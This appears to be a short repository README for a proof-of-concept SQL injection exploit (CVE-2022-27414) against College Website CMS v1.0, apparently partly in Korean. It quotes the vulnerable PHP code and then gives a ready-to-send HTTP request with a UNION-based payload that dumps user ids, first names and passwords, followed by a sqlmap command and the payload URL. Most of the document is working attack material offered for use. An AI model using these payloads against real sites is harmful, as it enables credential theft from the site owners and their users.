lus33rr/cve-2022-27414College Website v1.0 CMS - SQL 인젝션 익스플로잇
College Website CMS v1.0 - CVE-2022-27414 - SQL Injection
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-27414
"cwms\departments\index.php" 파일의 9번째 줄부터 시작
<?php
$departments = $conn->query("SELECT * FROM `department_list` where delete_flag = 0 and `status` = 1 order by `name` asc");
while ($row = $departments->fetch_assoc()):
?>
<div class="list-group-item">
<h3><b><?=$row['name'] ?></b></h3>
<hr>
<p><?=$row['description'] ?></p>
<div class="text-right">
<a href="./?p=courses&department_id=<?=$row['id'] ?>">List Courses</a>
</div>
GET /cwms/?p=courses&department_id=1%27%20union%20all%20select%201,(SELECT+GROUP_CONCAT(id,firstname,password+SEPARATOR+0x3c62723e)+FROM+cwms_db.users),3,4,5,6,7--%20- HTTP/1.1
Host: 192.168.8.121
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=b4rppi73ltkm5vh89ad4kl7p6m
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
sudo sqlmap -u 'http://localhost/cwms/?p=courses&department_id=1' --dbs
Type : Union-based
payload : http://localhost/cwms/?p=courses&department_id=1' union all select 1 (SELECT+GROUP_CONCAT(id,firstname,password+SEPARATOR+0x3c62723e)+FROM+cwms_db.users),3,4,5,6,7-- -
Ayed AlQahtani